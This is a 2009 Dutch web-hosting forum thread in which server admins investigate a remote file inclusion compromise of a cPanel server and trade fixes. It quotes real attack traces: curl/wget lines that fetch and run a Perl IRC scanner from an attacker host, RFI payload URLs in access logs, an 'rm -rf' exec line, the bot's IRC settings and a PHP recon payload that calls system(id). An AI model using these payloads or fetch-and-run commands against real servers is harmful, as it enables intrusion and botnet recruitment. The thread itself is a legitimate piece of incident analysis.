Bekijk Volledige Versie : Hackpoging, waar komt ie vandaan?
Cpanel server van een kennis van me.
Redelijk beveiligd, csf en lfd draaiende, tmp gemount als noexec.
Ik zag gisteren in de /tmp directory een script genaamd rm.txt me de volgende inhoud:
exec("rm -rf *siti* && rm rm.txt");
Deze zie ik ook vandaag al een paar keer terugkomen maar wordt door csf automatisch weer weggehaald.
Nu kwam er ook een hoge cpu load email en zag ik het volgende:
nobody 11836 0.0 0.7 34416 16116 ? S 15:35 0:04 \_ /usr/local/apache/bin/httpd -k start -DSSL
nobody 32023 0.0 0.0 2448 1012 ? S 17:00 0:00 | \_ sh -c curl -O http://ecology45.t35.com/v6ircscan.txt;perl v
nobody 32024 0.0 0.0 5316 1624 ? S 17:00 0:00 | \_ curl -O http://ecology45.t35.com/v6ircscan.txt
nobody 12616 0.0 0.7 31060 14444 ? S 15:42 0:00 \_ /usr/local/apache/bin/httpd -k start -DSSL
nobody 31791 0.0 0.0 2448 1012 ? S 17:00 0:00 | \_ sh -c cd /var/tmp;wget http://ecology45.t35.com/v6ircscan.t
nobody 31792 0.0 0.0 5220 1312 ? S 17:00 0:00 | \_ wget http://ecology45.t35.com/v6ircscan.txt
Er is echter geen bestand v6ircscan.txt te vinden op de server.
Dit stond in de acces_log van apache:
127.0.0.1 - - [19/May/2009:16:38:57 +0200] "GET /?p=http://ecology45.t35.com/idv6.txt%250D%3f%3f HTTP/1.1" 200 3474
127.0.0.1 - - [19/May/2009:16:38:57 +0200] "GET /?p=aboutus//%3fp=http://ecology45.t35.com/idv6.txt%250D%3f%3f HTTP/1.1" 200 3474
Ik krijg er geen vinger achter van welke site of via welke site dit allemaal geprobeerd wordt want ik neem aan dat een van de site op de server gehacked is.
Men is er nog steeds mee bezig want ik zie telkens opnieuw meldingen dat er een rm.txt in de /tmp gezet wordt die csf telkens weer weghaald.
Hoe krijg ik het snelste gevonden waar dit vandaan komt zodat ik het stoppen kan?
register_globals staat wel uit?
Van de week een soortgelijke gehad, als tijdelijke noodoplossing het domein waar de troep vandaan komt in de /etc/hosts gezet met een 127.0.0.1. De exacte oorzaak isnog niet gevonden, logfiles moeten nog nagelopen worden. Al stond deze server vol met gare oude Joomla installaties en modules.
Yep, register_globals staat uit, alhoewel ze dat wel zelf in een .htaccess weer aan kunnen zetten.
Inmiddels heb ik perl en wget naar 750 gechmod.
Wel een goed idee dat domein naar localhost te laten verwijzen, ga ik doen.
Server wordt automatisch geupdate en vannacht heb ik zelf nog een Cpanel en OS update handmatig uitgevoerd, just to be sure, omdat ik gisteren al dat rm.txt bestandje zag.
Maar een gara joomla versie kan best wel eens tussen de klantjes van betreffende staan, dat zou niet de eerste keer zijn.
Gisteren in een /public-html/tmp directory die 777 stond ook een index.html gevonden, die kan ik hier wel plaatsen maar lijkt me niet verstandig i.v.m. scritkiddies.
Stond ook iets in als:
!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0038)http://www.tifaelst.nl/html/ps_upload/ -->
<!-- saved from url=(0032)http://www.ihretreat.com/nwr.htm --><HTML><HEAD><TITLE>HacKeD By SySTeM-RooT ~ l l WwW.NumberOnEHack.OrG
l l </TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1254">
<META content="Microsoft FrontPage 5.0" name=GENERATOR></HEAD>
<BODY
bgColor=black>
<p align="center"><font color="#00FFFF" size="4"><b>
<marquee height="20">OwnZ By SySTeM-R00T </marquee></b></font> &nbs
p; &nbs
p; &nbs
p;
<SCRIPT language=JavaScript>
if (document.all){
Cols=10;
Cl=25; //Peþpeþe geliþ mesafeleri!
Cs=200; //Sayfaya enine yayýlýþ mesafeleri!
Ts=7; //Rakamlarýn büyüklükleri!
Tc='#FF0000';//Renk
Tc1='#FF0000';//Renk1
MnS=10; //Akýþ hýzlarý!
MxS=10; //Akýþ hýzlarý!
I=Cs;
Sp=new Array();S=new Array();Y=new Array();
C=new Array();M=new Array();B=new Array();
RC=new Array();E=new Array();Tcc=new Array(0,1,7,9,3,2);
document.write("<div id='Container' style='position:absolute;top:0;left:-"+Cs+"'>");
document.write("<div style='position:relative'>");
Enzovoorts.
Ding weggehaald, de tmp directory ook.
Ook viel me op (bij meerdere servers) dat de chinezen weer extra actief zijn met hun ssh bruteforces maarja dat staat toch allemaal dicht voor root dus dan kunnen ze lang proberen.:)
voor de ssh hack-attacks, gebruik fail2ban, ideale oplossing imho
waarschijnlijk stata op het domein waar je die html vond een lek script wat ge(mis)bruikt wordt om dergelijke attacks uit te voeren
Bedankt voor de tip maar ik zie geen voordelen van fail2ban t.o.v. csf/lfd.
Helaas ben ik niet zo thuis in scripting maar zo te zien zag ik niets vreemds, alhoewel er wel een gastenboek in stond. En daar zijn vaker problemen mee voor zover ik weet dus dat is een optie, alleen zie ik zo vlug niets in de logs v.w.b. een hack via dat systeem.
Password auth gewoon uitzetten voor SSH en met keys werken.
Pas even op met Perl chownen naar 750 (mod_perl, awstats, spamassassin). Wget chmod ikzelf ook altijd naar 700.
SSH staat slechts aan voor 2 gebruikersaccount en vandaaruit moet je middels su naar root. Die paar accounts zijn niet zo heel belangrijk.
Perl weer teruggezet, inderdaad, even niet aan gedacht met spamassassin, thanks!
Het is over duidelijk een RFI hack.
"GET /?p=http://ecology45.t35.com/idv6.txt%250D%3f%3f
"GET /?p=aboutus//%3fp=http://ecology45.t35.com/idv6.txt%250D%3f%3f
Ze includen simpelweg een file via een lek php (sql) script wat op JOUW website staat.
Het bestand wat ze uploaden bevat het volgende;
## Features: ##
## [+]Sql Injection Scanner (Fixed a bug which release v5 was affected) ##
## [+]Remote File Inclusion Scanner ##
## [+]Local File Inclusion Scanner ##
## [+]Remote Code Execution Scanner ##
## [+]Mass Scan, Google,AlltheWeb,Yahoo, Msn domains: ##
## .at/.com.au/.com.br/.ca/.ch/.cn/.de/.dk/.es/.fr/.it/.co.jp/.com.mx/.co.uk ##
## [+]Integrated Shell, so you can execute commands on the server ##
## [+]Security Mode to protect "dangerous" functions ##
## [+]Spread Mode, to activate or disable Spread Function ##
## [+]Single Spread Mode, to spread on RFI vulnerable sites ##
## [+]Bypass Engines ON: Google, Yahoo ##
## !: To "bypass" these engines, the Scanner just looks for websites on other ##
## engines that use the same bots than the main ones ##
What else do i need to say ? :)
Maarehm, dit is niet de eerste wat ik hiermee gezien heb op dit forum.
Een tijdje terug was er iemand gehackt en had ondertussen al menig terabytje data verstookt toen hij/zij hier kwam klagen.
En toen kwam ik ook uit op indoirc, nu dus weer...
my $ircd = "master.indoirc.net"; #Irc-Server
my $port = "6667"; #Irc-Server Port
my $chan1 = "#HardSecurity"; #Chan for Scan
my $chan2 = "#HardSecurity"; #Results will be printed here too
my $nick = "V6|".(int(rand(999))); #Nick
my @admins = ("eCoLoGy","uyx");
//edit;
ga daar niet vragen waarom ze dit doen, dan krijg je packets (oftewel DDOS)
Cpanel server van een kennis van me.
Is dat dezelfde als we het een paar weken terug over hadden?
nobody 11836 0.0 0.7 34416 16116 ? S 15:35 0:04 \_ /usr/local/apache/bin/httpd -k start -DSSL
nobody 32023 0.0 0.0 2448 1012 ? S 17:00 0:00 | \_ sh -c curl -O http://ecology45.t35.com/v6ircscan.txt;perl v
nobody 32024 0.0 0.0 5316 1624 ? S 17:00 0:00 | \_ curl -O http://ecology45.t35.com/v6ircscan.txt
nobody 12616 0.0 0.7 31060 14444 ? S 15:42 0:00 \_ /usr/local/apache/bin/httpd -k start -DSSL
nobody 31791 0.0 0.0 2448 1012 ? S 17:00 0:00 | \_ sh -c cd /var/tmp;wget http://ecology45.t35.com/v6ircscan.t
nobody 31792 0.0 0.0 5220 1312 ? S 17:00 0:00 | \_ wget http://ecology45.t35.com/v6ircscan.txtEr is echter geen bestand v6ircscan.txt te vinden op de server.
Nobody, waarom nog _cli?
Yep, register_globals staat uit, alhoewel ze dat wel zelf in een .htaccess weer aan kunnen zetten.
.
Daar zou je dan ook mooi vanaf zijn....
Ze includen simpelweg een file via een lek php (sql) script wat op JOUW website staat.
Nee niet MIJN website, maar een website van een van de gebruikers niet zijnde op mijn server. Ik heb daar zelf geen websites op staan m.u.v. een hobby website.
Vraag is alleen welk lek script ze gebruiken c.q. van welke gebruiker.
Maar bedankt alvast voor de uitgebreidere uitleg.
Is dat dezelfde als we het een paar weken terug over hadden?
Weken? Nee volgens mij niet..... Het is wel dezelfde als waar we het rond oktober over hadden, maar toen was de hd gecrashed. Daar is een nieuwe server voor in plaats gekomen.
Kan zijn geweest dat die van een paar weken van een andere kennis was. Ik heb 2 kennissen met servers, die gezamenlijk 3 servers hebben, die andere had toen ook wat in zijn /tmp staan.
Oorzaak daarvan was toen dat lek in Roundcube.
Op de server waar mijn reseller account op zat gebeurde dat ook maar gelukkig net was ik toen net ingelogd en kon de zaken op tijd weghalen en roundcube er af mieteren.
Waarom nog _cli? Eenvoudigweg omdat ik geen zin heb om al die websites met webshops te gaan vertimmeren en .htaccess bestanden naar php.ini's te gaan vertalen etc. Als de eigenaar dat wilt kan ie dat aangeven, dan mag ie Randy inhuren ofzo. Ik ga mijn vingers daar niet aan branden.
Gewoon onderhoud en de firewall in de gaten houden etc. wil ik wel voor ze doen daar staan ook wat tegenprestaties tegenover. Maar ondanks easyapache laat ik recompilen aan anderen over, ik heb onvoldoende ervaring met fastcgi en suphp enzo.
Daar zou je dan ook mooi vanaf zijn....
Vermits je dan ook uitschakelt dat ze zelf php.ini bestanden kunnen maken....
Je mening voor _cli is i.i.g. duidelijk. Ik heb alleen zelf niet zo veel moeite gehad om dat ombouwen, kwa tijd is het goed te doen....
Nee niet MIJN website, maar een website van een van de gebruikers niet zijnde op mijn server. Ik heb daar zelf geen websites op staan m.u.v. een hobby website.
Volgens mij snap jij het niet.
Ze includen een file en executen die d.m.v een bug in 1 of meerdere scripts in 1 of meerdere websites wat op die server draaien.
Er draait dus een vulnerable script op die server, welke?
Daar heb ik remote te weinig resources voor :surrender:
Ze zoeken specifieke vulnerable websites via google (zie vorige paste(s))
De URL waarmee ze jou geinfecteerd hebben lijkt ongev op;
jouw_ip/somescript.php?p=http://ecology45.t35.com/idv6.txt
En deze code executen ze ondetussen op je server;
<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }
echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "0sirys was here ..<br>";
echo "Osirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;
?>
Snap je het nu ?
Ondertussen is het botnet waar u o.a deel van was overgenomen & removed, voor hoe lang het duurd, i don't know.
linkje (http://j.photos.cx/lols1-4ee.jpg)
voer dus even de url naar die website in op google, en kijk welk script ze gebruiken om binnen te komen
Thanks everybody, alleen zoals ik al zei, van scripting heb ik weinig kaas gegeten, dus ik ben al blij als ik een beetje er uit wijs kom wat het doet. Dat lukt nog enigszins alleen niet alles.
@Mikeh: Bedankt, ik snapte hem wel, maar dacht eerst dat je iets anders wilde aanduiden omdat je het "jouw" zo in hoofletters had geschreven.:)
Nu dus alleen nog op zoek naar de website met het lekke script wat ze misbruikt hebben, dat zal dus wel even gaan duren.
Dump anders het IP in PM, dan gooi ik mn pen-test tool er effe snel over
Zag webserver03.top*sniplet*.nl ook terug in mn logs van gisteravond (viva las grep)
Hun heb ik net gemeld dat ze ook gedotslashed zijn en gaan het oplossen.
- je leest nu mee :)
Zag webserver03.top*sniplet*.nl ook terug in mn logs van gisteravond (viva las grep)
Hun heb ik net gemeld dat ze ook gedotslashed zijn en gaan het oplossen.
- je leest nu mee :)
Thanks
- Inmiddels site gevonden & gesuspend.
Hier ook eentje gevonden, en nu twee gevonden. Deze omvat ook zo'n heel script.
83.240.181.66 - - [20/May/2009:18:55:54 +0200] "GET //?page=http://www.zelte-hannover.de/sp.txt? HTTP/1.1" 200 4381
Er stond ook nog een russische bij maar die is niet meer bereikbaar.
Accounts zijn suspended nu.
Mikeh ook nog bedankt voor de scans!
www[punt]zelte-hannover[punt]de is dus ook een infected boxje, heb je aan een mail aan hun adres gestuurd?
Vandaag pas ja, mijn Duits is qua spraak wel goed maar qua schrift wat minder dus daar heb ik even de tijd voor genomen.
Althans ik heb betreffende site via de contact link benadert, niet de server eigenaar, wie dat ook moge zijn.
Verder is naar de abuse van Ziggo een mailtje gestuurd, meteen nadat het eerste account met lek script suspended was, bleek er eentje met een ziggo ip enorm veel te proberen de scriptjes via de suspended site op te roepen.
Eens zien of het iets uit haalt. Kan natuurlijk gespoofed zijn... maarja, dat mogen ze bij Ziggo dan verder uitzoeken, ze hebben een stuk van de log.
Misschien dat iemand hier ook nog mee kan helpen, ik zie continue dit in de logfile:
May 17 04:03:37 MRG005 kernel: Firewall: *TCP_OUT Blocked* IN= OUT=eth0 SRC=85.17.xx.xx DST=78.38.207.231 LEN=60 TOS=0x00 PREC=0x00
TTL=64 ID=19357 DF PROTO=TCP SPT=49256 DPT=81 WINDOW=5840 RES=0x00 SYN URGP=0
Het destination ip is een server of site van een Iraanse school maar op poort 81 is niets te zien. Het is echter wel uitgaand verkeer dus heb ik de alle homedirs afgezocht als volgt:
nohup find /home -name "*" -exec grep -ls 78.38.207.231 {} \; &
Geen resultaat dus het ip staat niet in een file in de home directory's.
Toch is het een uitgaande verbinding, is er nog een andere wijze om terug te vinden waar vandaan geprobeerd wordt om verbinding met dat ip te maken?
Ook chkrootkit en rkunter geven verder niets fouts aan.
Verder is naar de abuse van Ziggo een mailtje gestuurd, meteen nadat het eerste account met lek script suspended was, bleek er eentje met een ziggo ip enorm veel te proberen de scriptjes via de suspended site op te roepen.
Eens zien of het iets uit haalt. Kan natuurlijk gespoofed zijn... maarja, dat mogen ze bij Ziggo dan verder uitzoeken, ze hebben een stuk van de log.
Dat was prolly mijn thuis IP, aangezien ik 1; klant van @home ben en 2; die scripts over je www liet wandelen :X
Normaliter draai ik zulke tests via *snip*, blijkbaar toch iets vergeten aan te slingeren :o
Zou je dat ff kunnen rectificeren ?
Tnx
Dat was prolly mijn thuis IP, aangezien ik 1; klant van @home ben en 2; die scripts over je www liet wandelen :X
Normaliter draai ik zulke tests via *snip*, blijkbaar toch iets vergeten aan te slingeren :o
Zou je dat ff kunnen rectificeren ?
Tnx
:lovewht:
@Mikeh, zou je aan kunnen geven welke scripts jij gebruikt voor de pen testing? eventueel hoeft dit niet via het forum, maar mag ook via PM. Ik gebruik namelijk zelf een inmiddels abandoned prgramma vanuit de old-days maar hieraan wordt niet meer ontwikkeld en heb tot op heden geen goede vervanger kunnen vinden
@Blacky,
controleer ook evne of dit ip niet in je /tmp directory voorkomt of dat er ergens code in een database is geplaatst en deze aangeroepen wordt.
wat je ook kan doen om zeker te zijn dat het op de hele box niet voorkomt: grep -r "ip" * vanuit de root in het filesystem (/)
@Mikeh: Nee volgens mij was jij dat niet, want jouw testen gaven een bepaalde weergave in de logs, dit was wat ik van die Ziggo user zag:
213.51.11x.xx - - [20/May/2009:18:14:21 +0200] "GET /suspended.page/?pivot_path=http://usuarios.lycos.es/poizonbox/r57.txt?? HTTP/1.
1" 200 3448
Bij mijn weten doet dat programma geen scripts aanroepen vanaf buitenlandse sites.
Of komt het ip je erg bekend voor? Ik stuur je wel even een pm, als het echt van jou thuis af komt zet ik het meteen weer recht maar die site is pas ongeveer een uurtje na jouw tests op suspended gezet.
@MMai: dat find commando laat er ook een soort grep op los zag ik, doet eigenlijk hetzelfde maar dat wilde ik vannacht nog even doen over de hele box.
In de /tmp komt niets vreemds voor, die is al een tijd geleden beveiligd en vreemde dingen worden meteen in een malicious.tar elders weggezet door CSF/LFD.
Toch bedankt voor het meedenken.
V.w.b. tools gebruik ik zelf o.a. Acunetix Web vulnarability scanner. Die ook lang niet altijd alles vindt maar je kunt al een redelijke indruk krijgen.
Kan wel zwaar voor je systeem zijn want laatst zette ik die aan met wat opties aan en dat resulteerde in behoorlijk wat http requests naar de server.
Mkeh gebruikt o.a. Nikto (ook erg handig zag ik) maar zal vast nog wel meer hebben.;)
Hi,
Op mijn privé laptop heb ik ietswat meer tools tot mijn beschikking dan op mn werk ;)
Daar draait Samurai (http://sourceforge.net/projects/samurai) op, works like a charm.
Extra add-ons wat ik gebruik is sqlmap en een basic RFI scanner (ja, die van darkc0de) met een lijst van "lekke" weapps (die is overigens niet available for public)
Blacky zie PM :)